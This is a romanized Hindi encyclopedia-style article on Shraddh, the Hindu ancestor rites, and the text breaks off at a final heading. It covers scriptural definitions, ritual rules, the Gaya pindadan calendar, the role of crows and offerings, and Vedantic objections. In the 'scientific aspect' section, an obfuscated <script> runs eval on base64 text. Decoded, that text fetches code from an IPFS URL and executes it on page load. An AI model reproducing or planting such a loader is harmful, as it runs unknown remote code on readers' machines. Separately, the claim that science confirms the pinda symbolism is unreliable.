श्राद्ध

30px yah lekh pauranik granthoan athava manyataoan par adharit hai at: isamean varnit samagri ke vaijnanik praman hone ka ashvasan nahian diya ja sakata. vistar mean dekhean asvikaran

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shraddh vishay soochi

shraddh    parichay    pitri paksh    pitri ka arth    vishad varnan    pindadan    niyam    vidhi    sthan    mahatta    shraddh aur grahan    vaijnanik pahaloo    ahuti    visajarn

shraddh
shraddh karm mean pooja karate brahman|200px|center
any nam	pitri paksh
anuyayi	sabhi hindoo dharmavalambi
uddeshy	shraddh poorvajoan ke prati sachchi shraddha ka pratik haian. pitaroan ke nimitt vidhipoorvak jo karm shraddha se kiya jata hai usi ko 'shraddh' kahate haian..
prarambh	vaidik-pauranik
tithi	bhadrapad shukl paksh poornima se 'shraddh paksh' praranbh ho jata hai.
anushthan	shraddh-karm mean pake hue chaval, doodh aur til ko mishrit karake jo 'pind' banate haian. pind ka arth hai sharir. yah ek paranparik vishvas hai, ki har pidhi ke bhitar matrikul tatha pitrikul donoan mean pahale ki pidhiyoan ke samanvit 'gunasootr' upasthit hote haian. yah pratikatmak anushthan jin jin logoan ke gunasootr (jins) shraddh karane vale ki apani deh mean haian, unaki tripti ke lie hota hai.
dharmik manyata	brahm puran ne shraddh ki paribhasha is prakar ki hai, 'jo kuchh uchit kal, patr evan sthan ke anusar uchit (shastranumodit) vidhi dvara pitaroan ko lakshy karake shraddhapoorvak brahmanoan ko diya jata hai', vah shraddh kahalata hai.
sanbandhit lekh	gaya, bodhagaya, pitri paksh, shraddh ke niyam, shraddh visarjan, pitri visarjan amavasya, adity devata, rudr devata aur pindadan

shraddh poorvajoan ke prati sachchi shraddha ka pratik haian. pitaroan ke nimitt vidhipoorvak jo karm shraddha se kiya jata hai usi ko 'shraddh' kahate haian. hindoo dharm ke anusar, pratyek shubh kary ke prarambh mean mata-pita, poorvajoan ko namaskar ya pranam karana hamara kartavy hai, hamare poorvajoan ki vansh parampara ke karan hi ham aj yah jivan dekh rahe haian, is jivan ka anand prapt kar rahe haian. is dharm mean, rrishiyoan ne varsh mean ek paksh ko pitripaksh ka nam diya, jis paksh mean ham apane pitareshvaroan ka shraddh, tarpan, mukti hetu vishesh kriya sanpann kar unhean ardhy samarpit karate haian. yadi kisi karan se unaki atma ko mukti pradan nahian huee hai to ham unaki shaanti ke lie vishisht karm karate hai jise 'shraddh' kahate haian.

shraddh ek parichay

• brahm puran ne shraddh ki paribhasha is prakar ki hai, 'jo kuchh uchit kal, patr evan sthan ke anusar uchit (shastranumodit) vidhi dvara pitaroan ko lakshy karake shraddhapoorvak brahmanoan ko diya jata hai, vah shraddh kahalata hai.
• mitakshara ne shraddh ko is prakar paribhashit kiya hai, 'pitaroan ka uddeshy karake (unake kalyan ke lie) shraddhapoorvak kisi vastu ka ya usase sambandhit kisi dravy ka tyag shraddh hai.'
• kalpataru ki paribhasha is prakar hai, 'pitaroan ka uddeshy karake (unake labh ke lie) yajniy vastu ka tyag evan brahmanoan ke dvara usaka grahan pradhan shraddhasvaroop hai.'
• rudradhar ke shraddhavivek evan shraddhaprakash ne mitakshara ke saman hi kaha hai, kintu inamean paribhasha kuchh ulajh si gayi hai.

• yajnavalkyasmriti ka kathan hai ki pitar log, yatha–vasu, rudr evan adity, jo ki shraddh ke devata haian, shraddh se santusht hokar manavoan ke poorvapurushoan ko santushti dete haian.
• yah vachan evan manu ki ukti yah spasht karati hai ki manushy ke tin poorvaj, yatha–pita, pitamah evan prapitamah kram se pitri-devoan, arthath vasuoan, rudroan evan adity ke saman haian aur shraddh karate samay unakoan poorvajoan ka pratinidhi manana chahie. kuchh logoan ke mat se shraddh se in batoan ka nirdesh hota hai; hom, pindadan evan brahman tarpan (brahman santushti bhojan adi se); kintu shraddh shabd ka prayog in tinoan ke sath gaun arth mean upayukt samajha ja sakata hai.

shraddh aur pitar

shraddhoan ka pitaroan ke sath atoot sanbandh hai. pitaroan ke bina shraddh ki kalpana nahian ki ja sakati. shraddh pitaroan ko ahar pahuanchane ka madhyam matr hai. mrit vyakti ke lie jo shraddhayukt hokar tarpan, pind, danadi kiya jata hai, use 'shraddh' kaha jata hai aur jis 'mrit vyakti' ke ek varsh tak ke sabhi aurdhv daihik kriya karm sanpann ho jayean, usi ki 'pitar' sanjna ho jati hai.

'mere ve pitar jo pretaroop haian, tilayukt jauan ke pindoan se tript hoan.
sath hi srishti mean har vastu brahma se lekar tinake tak,
char ho ya achar, mere dvara diye jal se tript hoan.' - vayu puran

shraddh kya hai?

shraddh pratha vaidik kal ke bad shuroo huee aur isake mool mean isi shlok ki bhavana hai. uchit samay par shastrasammat vidhi dvara pitaroan ke lie shraddha bhav se mantroan ke sath jo dan-dakshina adi, diya jay, vahi shraddh kahalata hai. 20 aansh retas (som) ko 'pitrirrin' kahate haian. 28 aansh retas ke roop mean 'shraddha' namak marg se bheje jane vale 'pind' tatha 'jal' adi ke dan ko shraddh kahate haian. is shraddhavan marg ka sanbandh madhyahn kal mean shraddh karane ka vidhan hai.

shraddh ke devata

vasu, rudr aur adity shraddh ke devata mane jate haian.

shraddh kyoan?

har vyakti ke tin poorvaj pita, dada aur paradada kram se vasu, rudr aur adity ke saman mane jate haian. shraddh ke vaqt ve hi any sabhi poorvajoan ke pratinidhi mane jate haian. aisa mana jata hai ki ve shraddh karane valoan ke sharir mean pravesh karake aur thik dhag se riti-rivajoan ke anusar karaye gaye shraddh-karm se tript hokar ve apane vanshadhar ko saparivar sukh-samriddhi aur svasthy ka arshivad dete haian. shraddh-karm mean uchcharit mantroan aur ahutiyoan ko ve any sabhi pitaroan tak le jate haian.

shraddh ke prakar

shraddh tin prakar ke hote haian-

• nity- yah shraddh ke dinoan mean mritak ke nidhan ki tithi par kiya jata hai.
• naimittik- kisi vishesh parivarik utsav, jaise - putr janm par mritak ko yad kar kiya jata hai.
• kamy- yah shraddh kisi vishesh manauti ke lie krittika ya rohini nakshatr mean kiya jata hai.

shraddh kyoan anupayogi

nand panndit krit 'shraddhakalp' (lagabhag 1600 ee.) ne virodhiyoan (jinhean ve nastik kahate haian) ko vistrit pratyuttar diya hai. virodhiyoan ka kathan hai ki pita adi ke lie, jo apane vishisht karmoan ke anusar svarg ya narak ko jate haian ya any prakar ka jivan dharan karate haian, shraddh sampadan koee arth nahian rakhata. nand panndit ne poochha hai – 'shraddh kyoan anupayogi hai?' kya isilie ki isake sampadan ki apariharyata ke lie koee vyavasthit vidhan nahian hai? ya isilie ki shraddh se phaloan ki prapti nahian hoti? ya isilie ki yah siddh nahian hua hai ki pitrigan shraddh se santushti pate haian? pratham prashn ka uttar yah hai ki 'vijn logoan ko poori shakti bhar shraddh avashy karana chahie'– aise vachan haian jo shraddh ki anivaryata ghoshit karate haian. isi prakar se doosara virodh bhi anuchit hai, kyoanki yajnavalkyasmriti ne shraddh ke phal bhi ghoshit kiye haian, yatha dirgh jivan adi. isi prakar tisara vikalp bhi svikar karane yogy nahian hai. [[chitr:Shraddh-2.jpg|thumb|250px|brahman]] shraddh krityoan mean aisa nahian hai ki keval 'devadatt' adi nam vale poorvaj hi praptikarta haian aur ve pitri, pitamah evan prapitamah shabdoan se lakshit hote haian. pratyut ve nam vasuoan, rudroan tatha adityoan jaise adhikshak devataoan ke sath hi dyotit hote haian. jis prakar devadatt adi shabdoan se jo lakshit hota hai, vah n keval shariroan (jaise ki nam diye gaye haian) evan atmaoan ka dyotan karata hai, pratyut vah shariroan se vishishtikrit vyaktigat atmaoan ka parichayak hai. isi prakar pitri adi shabd adhikshak devataoan (vasu, rudr evan adity) ke sath 'devadatt' evan anyoan ke sammilit roop ka dyotan karate haian. at: vasu adi adhikshak devatagan putroan adi dvara diye gaye bhojan-pan se santusht hokar unhean, arthath devadatt adi ko santusht karate haian aur shraddhakarta ko santati, putr, jivan, sampatti adi se phal dete haian. jis prakar garbhavati mata 'dehad'(garbhavati dasha mean striyoan ki vishisht ichchha) roop mean any logoan se madhur ann-pan adi dvara svayan santushti prapt karati hai aur garbhasthit bachche ko bhi santushti deti hai tatha dohad, ann adi dene vale ko pratyupakarak phal deti hai, vaise hi pitri shabd se dyotit pita, pitamah evan prapitamah vasuoan, rudroan tatha adityoan ke roop haian, ve keval manav roop mean kahe jane vale devadatt adi ke saman nahian haian.

isi se ye adhishthata devatagan shraddh mean kiye gaye danadi ke praptikarta hote haian, shraddh se tarpit (santusht) hote haian aur manushy ke pitaroan ko santusht karate haian. shraddhakalpalata ne markandey puran se 18 shlok uddhrit kiye haian, jinamean bahut se adhyay 28 mean paye jate haian. jis prakar bachh da apani mata ko itastat: phaili huee any gayoan mean se chun leta hai, usi prakar shraddh mean kahe gaye mantr pradatt bhojan ko pitaroan tak le jate haian.

shraddh karane ko upayukt

sadharanat: putr hi apane poorvajoan ka shraddh karate haian. kintu shastranusar aisa har vyakti jisane mritak ki sampatti virasat mean payi hai aur usase prem aur adar bhav rakhata hai, us vyakti ka snehavash shraddh kar sakata hai. vidya ki virasat se bhi labh pane vala chhatr bhi apane divangat guru ka shraddh kar sakata hai. putr ki anupasthiti mean pautr ya prapautr bhi shraddh-karm kar sakata hai. ni:santan patni ko pati dvara, pita dvara putr ko aur b de bhaee dvara chhote bhaee ko pind nahian diya ja sakata. kintu kam umr ka aisa bachcha, jisaka upanayan sanskar n hua ho, pita ko jal dekar navashraddh kar sakata. shesh kary usaki or se kul purohit karata hai.

shraddh ke lie uchit batean

• shraddh ke lie uchit dravy haian- til, mash (u dad), chaval, jau, jal, mool, (j dayukt sabji) aur phal.
• tin chizean shuddhikarak haian - putri ka putr, til aur nepali kambal ya kush.
• tin batean prashansaniy haian - safaee, krodhahinata aur chain (tvara (shighrata)) ka n hona.
• shraddh mean mahattvapoorn batean - aparanh ka samay, kusha, shraddhasthali ki svachchhta, udarata se bhojan adi ki vyavastha aur achchhe brahman ki upasthiti.

shraddh ke lie anuchit batean

thumb|pindadan karate shraddhalu|250px kuchh ann aur khady padarth jo shraddh mean nahian prayukt hote- masoor, rajama, kodoan, chana, kapitth, alasi, tisi, san, basi bhojan aur samudrajal se bana namak. bhaians, hirani, uantani, bhe d aur ek khuravale pashu ka doodh bhi varjit hai par bhaians ka ghi varjit nahian hai. shraddh mean doodh, dahi aur ghi pitaroan ke lie vishesh tushtikarak mane jate haian. shraddh kisi doosare ke ghar mean, doosare ki bhoomi mean kabhi nahian kiya jata hai. jis bhoomi par kisi ka svamitv n ho, sarvajanik ho, aisi bhoomi par shraddh kiya ja sakata hai.

bhadrapad mean hi shraddh kyoan

hamara ek mah chandrama ka ek ahoratr hota hai. isilie oordhv bhag par rah rahe pitaroan ke lie krishna paksh uttam hota hai. krishna paksh ki ashtami ko unake dinoan ka uday hota hai. amavasya unaka madhyahn hai tatha shukl paksh ki ashtami aantim din hota hai. dharmik manyata hai ki amavasya ko kiya gaya shraddh, tarpan, piandadan unhean santushti v oorja pradan karate haian. jyotishashastr ke anusar prithvi lok mean devata uttar gol mean vicharan karate haian aur dakshin gol bhadrapad mas ki poornima ko chandralok ke sath-sath prithvi ke nazadik se gujarata hai. is mas ki pratiksha hamare poorvaj poore varsh bhar karate haian. ve chandralok ke madhyam se dakshin disha mean apani mrityu tithi par apane ghar ke daravaze par pahuanch jate hai aur vahaan apana samman pakar prasannatapoorvak apani nee pidhi ko arshivad dekar chale jate haian. aisa varnan 'shraddh mimaansa' mean milata hai. is tarah pitri rrin se mukt hone ke lie shraddh kal mean pitaroan ka tarpan aur poojan kiya jata hai. bharatiy sanskriti evan samaj mean apane poorvajoan evan divangat mata-pita ke smaran shraddh paksh mean karake unake prati asim shraddha ke sath tarpan, piandadan, yaksh tatha brahmanoan ke lie bhojan ka pravadhan kiya gaya hai. pitaroan ke lie kie jane vale shraddh do tithiyoan par kie jate haian. pratham mrityu ya kshay tithi par aur doosara pitri paksh mean. jis mas aur tithi ko pitri ki mrityu huee hai athava jis tithi ko unaka dah sanskar hua hai, varsh mean umr us tithi ko ekodisht shraddh kiya jata hai.

ekodisht shraddh mean keval ek pitar ki santushti ke lie shraddh kiya jata hai. isamean ek pind ka dan aur ek brahman ko bhojan karaya jata hai. yadi kisi ko apane poorvajoan ki mrityu ki tithiyaan yad nahian hai, to vah amavasya ke din jnat-ajnat poorvajoan ka vidhi-vidhan se piandadan tarpan, shraddh kar sakata hai. is din kiya gaya tarpan karake 15 din ke barabar ka puny phal milata hai aur ghar parivar, vyavasay tatha ajivika mean vishesh unnati hoti hai. yadi parivar ke kisi sadasy ki akal mrityu huee hai, to pitridosh ke nivaran ke lie shastriy vidhi ke anusar usaki atmashaanti ke lie kisi pavitr tirth sthan par shraddh karana chahie. samarthyanusar kisi suyogy karmanishth brahman se shrimadh‌ bhagavat puran ki katha apane pitaroan ki atmashaanti ke lie karava sakate haian. isase vishesh puny phal ki prapti hoti hai. isake phalasvaroop parivar mean ashaanti, vansh vriddhi mean rukavat, akasmik bimari, dhan se barakat n hona sari sukh suvidhaoan ke hote bhi man asantusht rahana adi pareshaniyoan se mukti mil sakati hai.

matamah shraddh

thumb|250px|shraddhalu

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• matamah shraddh apane ap mean ek aisa shraddh hai jo ek putri dvara apane pita ko v ek nati dvara apane nana ko tarpan kiya jata hai.
• is shraddh ko sukh shaanti ka pratik mana jata hai kyoanki yah shraddh karane ke lie kuchh avashyak shartean hai agar vo poori n ho to yah shraddh nahian nikala jata.
• shart yah hai ki matamah shraddh usi aurat ke pita ka nikala jata hai jisaka pati v putr zinda ho agar aisa nahian hai aur donoan mean se kisi ek ka nidhan ho chuka hai ya hai hi nahian to matamah shraddh ka tarpan nahian kiya jata.

shraddh mean kush aur til ka mahattv

darbh ya kush ko jal aur vanaspatiyoan ka sar mana jata hai. yah bhi manyata hai ki kush aur til donoan vishnu ke sharir se nikale haian. garu d puran ke anusar, tinoan devata brahma, vishnu, mahesh kush mean kramash: j d, madhy aur agrabhag mean rahate haian. kush ka agrabhag devataoan ka, madhy bhag manushyoan ka aur j d pitaroan ka mana jata hai. til pitaroan ko priy haian aur dushtatmaoan ko door bhagane vale mane jate haian. manyata hai ki bina til bikhere shraddh kiya jaye to dushtatmayean havi ko grahan kar leti haian.

kam kharch mean shraddh

vishnu puran ke anusar daridr vyakti keval mota ann, jangali sag-pat-phal aur nyoonatam dakshina, vah bhi na ho to sat ya ath til aanjali mean jal ke sath lekar brahman ko dena chahie ya kisi gay ko din bhar ghas khila deni chahie anyatha hath uthakar dikpaloan aur soory se yachana karani chahie ki he! prabhu maianne hath vayu mean phaila diye haian, mere pitar meri bhakti se santusht hoan.

kauoan ka mahattv

[[chitr:Crow.jpg|thumb|kaua|250px]] aisa mana jata hai ki vyakti mar kar sabase pahale kaue ka janm leta hai aur aisi manyata hai ki kauoan ko khana khilane se pitaroan ko khana milata hai. isi karan hai ki shraddh paksh mean kauoan ka vishesh mahattv hai aur pratyek shraddh ke dauran pitaroan ko khana khilane ke taur par sabase pahale kauoan ko khana khilaya jata hai. jo vyakti shraddh karm kar raha hai vah ek thali mean sara khana parosakar apane ghar ki chhat par jata hai aur zor zor se 'kobas kobas' kahate hue kauoan ko avaz deta hai. thodi der bad jab koee kaua a jata hai to usako vah khana parosa jata hai. pas mean pani se bhara patr bhi rakha jata hai. jab kaua ghar ki chhat par khana khane ke lie ata hai to yah mana jata hai ki jis poorvaj ka shraddh hai vah prasann hai aur khana khane a gaya hai. kaue ki deri v akar khana n khane par mana jata hai ki vah pitar naraz hai aur phir usako raji karane ke upay kie jate haian. is dauran hath jo dakar kisi bhi galati ke lie mafi maang li jati hai aur phir kaue ko khana khane ke lie kaha jata hai. jab tak kaua khana nahian khata vyakti ke man ko prasannata nahian milati. is tarah shraddh paksh mean kauoan ki bhi pau barah hai.

pind ka arth

mukhy lekh : pind (shraddh)

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shraddh-karm mean pake hue chaval, doodh aur til ko mishrit karake jo pind banate haian, use 'sapindikaran' kahate haian. pind ka arth hai sharir. yah ek paranparik vishvas hai, jise vijnan bhi manata hai ki har pidhi ke bhitar matrikul tatha pitrikul donoan mean pahale ki pidhiyoan ke samanvit 'gunasootr' upasthit hote haian. chaval ke pind jo pita, dada, paradada aur pitamah ke shariroan ka pratik haian, apas mean milakar phir alag baantate haian. yah pratikatmak anushthan jin jin logoan ke gunasootr (jins) shraddh karane vale ki apani deh mean haian, unaki tripti ke lie hota hai.

piandadan

gaya mean ashvin - krishnapaksh mean bahut adhik log shraddh karane jate haian. poore shraddh paksh ve yahaan rahate haian. shraddhapaksh ke lie piandadan adi ka kram is prakar hai-

hindoo tithiyaan	piandadan vivaran
bhadrapad shukl chaturdashi	punapun tat par shraddh.
bhadrapad poornima	phalgu nadi mean snan aur nadi par khir ke piand se shraddh.
ashvin krishna pratipada	brahmakuand, pretashila, ram kuand evan ramashila par shraddh aur kakabali.
ashvin krishna dvitiya	uttaramanas, udichi, kanakhal, dakshinamanas aur jihvalol tirthoan par piandadan.
ashvin krishna tritiya	sarasvati snan, matangavapi, dharmarany aur bodhagaya mean shraddh.
ashvin krishna chaturthi	brahmasarovar par shraddh, amrasechan aur kakabali.
ashvin krishna panchami	vishnupad mandir mean rudrapad, brahmapad aur vishnupad par khir ke piand se shraddh.
ashvin krishna shashthi se ashtami tak	vishnupad ke solah vedi namak mandap mean 14 sthanoan par aur pas ke mandap mean do sthanoan par piandadan hota hai.
ashvin krishna navami	ramagaya mean shraddh aur sita kuand par mata, pitamahi ko baloo ke piand die jate haian.
ashvin krishna dashami	gay sir aur gay koop ke pas piand dan kiya jata hai.
ashvin krishna ekadashi	muandaprishth, adigaya aur dhautapad mean khove ya til-gu d se piandadan.
ashvin krishna dvadashi	bhimagaya, goprachar aur gadalol mean piandadan.
ashvin krishna triyodashi	phalgu mean snan karake doodh ka tarpan, gayatri, savitri tatha sarasvati tirth par kramashah pratah, madhyahn aur sayankal snan aur sandhya.
ashvin krishna chaturdashi	vaitarani snan aur tarpan.
ashvin amavasya	akshay vat ke niche shraddh aur brahman-bhojan.
ashvin shukl pratipada	gayatri ghat par dahi-akshat ka piand dekar gaya shraddh samapt kiya jata hai.

shraddh ke niyam

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• dainik panch yajnoan mean pitri yajn ko khas bataya gaya hai. isamean tarpan aur samay-samay par pindadan bhi sammilit hai.
• poore pitripaksh bhar tarpan adi karana chahie.
• is dauran koee any shubh kary ya naya kary athava pooja-path anushthan sambandhi naya kam nahian kiya jata. sath hi shraddh niyamoan ka vishesh palan karana chahie. parantu nity karm tatha devataoan ki nity pooja jo pahale se hoti a rahi hai, usako band nahian karana chahie.

anushthan ka arth

apane divangat bujurgoan ko ham do prakar se yad karate haian-

• sthool sharir ke roop mean
• bhavanatmak roop se.

sthool sharir to marane ke bad agni ko ya jalapravah ko bheant kar dete haian, isalie shraddh karate samay ham pitaroan ki smriti kar unake bhavanatmak sharir ki pooja karate haian taki ve tript hoan aur hamean saparivar apana snehapoorn arshivad dean.

shraddh ka vaijnanik pahaloo

thumb|250px|shraddh karate shraddhalu janm evan mrityu ka rahasy atyant goodh hai. vedoan mean, darshan shastroan mean, upanishadoan evan puranoan adi mean hamare rrishiyoan-manishiyoan ne is vishay par vistrit vichar kiya hai. shrimadabhagavat mean bhi spasht roop se bataya gaya hai ki janm lene vale ki mrityu aur mrityu ko prapt hone vale ka janm nishchit hai. yah prakriti ka niyam hai. sharir nasht hota hai magar atma kabhi bhi nasht nahian hoti hai. vah pun: janm leti hai aur bar-bar janm leti hai. is pun: janm ke adhar par hi karmakand mean shraddhadi karm ka vidhan nirmit kiya gaya hai. apane poorvajoan ke nimitt di gee vastuean sachamuch unhean prapt hoti haian ya nahian, is vishay mean adhikaansh logoan ko sandeh hai. hamare poorvaj apane karmanusar kis yoni mean utpann hue haian, jab hamean itana hi nahian maloom to phir unake lie die ge padarth un tak kaise pahuanch sakate haian? kya ek brahman ko bhojan karane se hamare poorvajoan ka pet bhar sakata hai? n jane is tarah ke kitane hi saval logoan ke man mean uthate hoange. vaise in prashnoan ka sidhe-sidhe uttar dena sambhav bhi nahian hai, kyoanki vaijnanik mapadandoan ko is srishti ki pratyek vishayavastu par lagoo nahian kiya ja sakata. duniya mean aisi kee batean haian, jinaka koee praman n milate hue bhi un par vishvas karana p data hai.
ab shraddh sanskar ko hi lijie. shraddh sookshm shariroan ke lie vahi kam karate haian, jo janm ke poorv aur janm ke samay ke sanskar sthool sharir ke lie karate haian. yahaan se doosare lok mean jane aur doosara sharir prapt karane mean jivatma ki sahayata karake manushy apana kartavy poora kar deta hai. isalie is kriya ko shraddh kahate haian, jo shrriddha se bana hai. shraddh ki kriyaean do bhagoan mean banti huee haian. pahala pret kriya aur doosara pitri kriya. aisa mana jata hai ki mara hua vyakti ek varsh mean pitri lok pahuanchata hai. at: sapiandikaran ka samay ek varsh ke ant mean hona chahie. parantu itane dinoan tak ab log pratiksha nahian kar pate haian. is sthiti mean sapiandikaran ki avadhi chhah mahine se ab 12 din ki ho gee hai. isake lie garu d puran ka shlok adhar hai-

"anityatkalidharmanaanpuansaanchaivayush: kshayath.
asthiratvachchharirasy dvadashahe prashasyate.."

arthath kaliyug mean dharm ke anity hone ke karan purushoan ki ayu kshinata tatha sharir ke kshan bhangur hone se barahavean din sapiandi ki ja sakati hai. varnanusar yah din age bhi badh jata hai. barahavaan din unake lie hai, jinaki shuddhi das din mean ho jati hai.

chitr:Blockquote-open.gif shraddh sookshm shariroan ke lie vahi kam karate haian, jo ki janm ke poorv aur janm ke samay ke sanskar sthool sharir ke lie karate haian. isalie shastr poorvajanm ke adhar par hi karmakand mean shraddhadi karm ka vidhan nirmit karate haian. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jis prakar sabhi sanskar prakriti ke kary ko sahayata pahuanchane ke lie bane haian, usi prakar pret kriya ka bhi uddeshy yahi hai ki vah pranamay kosh ki, annamay kosh ke yathavat rahane ke samay tak us par avalanbit rahane ki prakriti ko nasht kar de aur jab tak prakriti apani sadharan prakriya mean pahuanchana chahe, us manushy ko bhoolok mean is prakar dharan kie rahe. is vishay mean sabase pahala avashyak kary yah hai ki annamay kosh nasht kar diya jae aur vah dah karane se ho jata hai. chhandogyopanishad mean ullekh hai–'te pretan dishtamito agnay ai haranti yat eveto yat: sanbhooto bhavati.' arthath jaisa nirdisht hai, ve mritatma ko agni ke pas le jate haian, jahaan se vah aya tha aur jahaan se vah utpann hua tha. shav mean ag lagane se poorv dahakarta chita ki parikrama karata hai aur us par is mantr ke sath jal chhi dakata hai–'ayet vit vi ch sarpat at:.' arthath jao, apasaran karo, vida ho jao, jab tak dah hota rahata hai, tab tak kaha jata hai. bad mean bachi huee haddiyoan ka sanchay karake pravah kar diya jata hai. isake bad manomay kosh ke vishleshan karane ka kam ata hai, jisase pret badal kar pitri ho jata hai. sabhi sanskaroan vivah ko chho dakar shraddh hi aisa dharmik krity hai, jise log paryapt dharmik utsah se karate haian. vivah mean bahut se log kuchh vidhiyoan ko chho d bhi dete haian, parantu shraddh karm mean niyamoan ki anadekhi nahian ki jati hai. kyoanki shraddh ka mukhy uddeshy paralok ki yatra ki suvidha karana hai.

vedant ke anusar

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[[chitr:Shraddh-4.jpg|thumb| snan karate brahman|250px]] shraddhakalpalata ne markandeyapuran ke adhar par jo tark upasthit kiye haian, ve santoshajanak nahian haian aur unamean bahut khianchatani hai. markandey evan matsy, aisa lagata hai, vedant ke is kathan ke sath haian ki atma is sharir ko chho dakar dev ya manushy ya pashu ya sarp adi ke roop mean avasthit ho jati hai. jo anuman upasthit kiya gaya hai vah yah hai ki shraddh mean jo ann-pan diya jata hai, vah pitaroan ke upayog ke lie vibhinn dravyoan mean parivartit ho jata hai. is vyavastha ko svikar karane mean ek b di kathinaee yah hai ki pitrigan vibhinn sthanoan mean mar sakate haian aur shraddh bahudha un sthanoan se door hi sthan par kiya jata hai. aisa manana klisht kalpana hai ki jahaan dushkarmoan ke karan koee pitar pashu roop mean parivartit ho gaye haian, aise sthan vishesh mean ugi huee ghas vahi hai, jo saik doan kos door shraddh mean kiye gaye dravyoan ke karan utpann huee hai. itana hi nahian, yadi ek ya sabhi pitar pashu adi yoni mean parivartit ho gaye haian, to kis prakar apani santanoan ko ayu, dhan adi de sakate haian? yadi yah kary vasu, rudr evan adity karate haian to sidhe taur par yah kahana chahie ki pitar log apani santati ko kuchh bhi nahian de sakate.

shraddh mean khir-poori ka mahattv

shraddh ke dauran panditoan ko khir-poori khilane ka mahattv hota hai. mana jata hai ki isase svargiy poorvajoan ki atma tript hoti hai. purush ke shraddh mean brahman ko tatha stri ke shraddh mean brahman mahila ko bhojan karaya jata hai. log apani shraddha anusar khir-poori tatha sabjiyaan banakar unhean bhojan karate haian tatha bad mean vastr v dakshina dekar v pan khilakar vida karate haian. subah snan adi se nivritt hokar apane poorvaj ka chitr rakhakar pandit niyamapoorvak pooja v sankalp karate haian. is din bina pyaj v lahasun ka bhojan taiyar kiya jata hai. bad mean pandit v panditain ke shraddhapoorvak pair chhookar unhean bhojan karate haian. bhojan mean khir-poori v panir, sitaphal, adarak v mooli ka lachchha taiyar kiya jata hai. u dad ki dal ke b de banakar dahi mean dale jate haian. pandit sarvapratham gay ka naivedy nikalavate haian. isake alava kauoan v chi diya, kutte ke lie bhi gras nikalate haian. pitri amavasya ko akhiri shraddh karake pitri visarjan kiya jata hai tatha pitaroan ko vida kiya jata hai. kee jagahoan par amavasya ke din pandit bahut kam milate haian kyoanki ek dharana yah hai ki shraddh ka bhojan ya to kul pandit ya kisi khas brahman ko karaya jata hai. kee jagah vyast hone ke chalate bhi panditoan ki kami rahati hai. manyata hai ki brahmanoan ko khir-poori khilane se pitri tript hote haian. yahi vajah hai ki is din khir-poori hi banaee jati hai.

shraddh-karm ki sankshipt vidhi

thumb|250px|pindadan karate shraddhalu

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• shraddh divas se poorv divas ko buddhiman purush shrotriy adi se vihit brahmanoan ko 'pitri-shraddh' tatha ‘vaishv-dev-shraddh’ ke lie nimantrit karean.
• pitri-shraddh ke lie samarthyanusar ayugm tatha vaishv-dev-shraddh ke lie yugm brahmanoan ko nimantrit karana chahie.
• nimantrit tatha nimantrak krodh, strigaman tatha parishram adi se door rahe.

prachin pratha

pratit hota hai ki shraddh dvara pooja-archana prachin pratha hai aur punarjanm evan karmavipak ke siddhant apekshakrit pashchatkalin haian aur hindoo dharm ne, jo ki vyapak hai (arthath apane mean sabhi ko samet leta hai) punarjanm adi ke siddhant grahan karate hue bhi shraddhoan ki parampara ko jyoan ka tyoan rakh liya hai. isase vyakti apane un poorvajoan ka smaran kar leta hai jo jivitavastha mean apane priy the. aryasamaj shraddh pratha ka virodh karata hai aur rrigved mean ullikhit pitaroan ko vanaprasthashram mean rahane vale jivit logoan ke arth mean leta hai. yah jnatavy hai ki vaidik uktiyaan donoan siddhantoan ka palan karati hai. shatapath brahman ne spasht roop se kaha hai ki yajnakarta ke pita ko diya gaya bhojan in shabdoan mean kaha jata hai–'yah tumhare liye hai'. vishnu puran mean aya hai–'vah, jisaka pita mrit ho gaya ho, apane pita ke lie pind rakh sakata hai.' manu smriti ne kaha hai ki pita vasu, pitamah rudr evan adity kahe gaye haian. yajnavalkyasmriti ne yah vyavastha di hai ki vasu, rudr evan adity pit haian aur shraddh ke adhishthata devata haian. is antim kathan ka uddeshy hai ki pitaroan ka dhyan vasu, rudr evan adity ke roop mean karana chahie.

granthoan ke anusar

pitaroan ki kalpit, kalyanakari evan haniprad shakti par hi adim avastha ke logoan mean poorvaj-pooja ki pratha mahatta ko prapt huee. aisa samajha jata tha ki pitar log jivit logoan ko labh evan hani donoan de sakate haian. arambhik kal mean poorvajoan ko prasann karane ke lie jo ahutiyaan di jati thian athava jo utsav kiye jate the, ve kalantar mean shraddha evan smaran ke chihnoan ke roop mean prachalit ho gaye haian. prakh-vaidik sahity mean pitaroan ke vishay mean katipay vishvas prakat kiye gaye haian. baudhayan dharmasootr ne ek brahman granth se nishkarsh nikala hai ki pitar log pakshiyoan ke roop mean vicharan karate haian. yahi bat aushanasasmriti evan deval (kalpataru) ne bhi kahi hai. vayu puran mean aisa kaha gaya hai ki shraddh ke samay pitar log (amantrit) brahmanoan mean vayu roop mean pravisht ho jate haian aur jab yogy brahman vastroan, annoan, pradanoan, bhakshyoan, peyoan, gayoan, ashvoan, gramoan adi se sampoojit hote haian to ve prasann hote haian. manu evan aushanas-smriti is sthapana ka anumodan karate haian ki pitar log amantrit brahmanoan mean pravesh karate haian. matsyapuran ne vyavastha di hai ki mrityu ke uparant ko pitar ko 12 dinoan tak pind dene chahie, kyoanki ve usaki yatra mean bhojan ka kary karate haian aur use santosh dete haian. at: atma mrityu ke uparant 12 dinoan tak apane avas ko nahian tyagati. at: 10 dinoan tak doodh (aur jal) oopar taang dena chahie. jisase sabhi yatanaean (mrit ke kasht) door ho sakean aur yatra ki thakan mit sake (mritatma ko nishchit avas svarg ya yam ke lok mean jana p data hai). vishnu dharmasootr mean aya hai–"mritatma shraddh mean 'svadha' ke sath pradatt bhojan ka pitrilok mean rasasvadan karata hai; chahe mritatma (svarg mean) dev ke roop mean ho, ya narak mean ho (yatanaoan ke lok mean ho), ya nimn pashuoan ki yoni mean ho, ya manav roop mean ho, sambandhiyoan ke dvara shraddh mean pradatt bhojan usake pas pahuanchata hai; jab shraddh sampadit hota hai to mritatma evan shraddhakarta donoan ko tez ya sampatti ya samriddhi prapt hoti hai.

paanch bhag

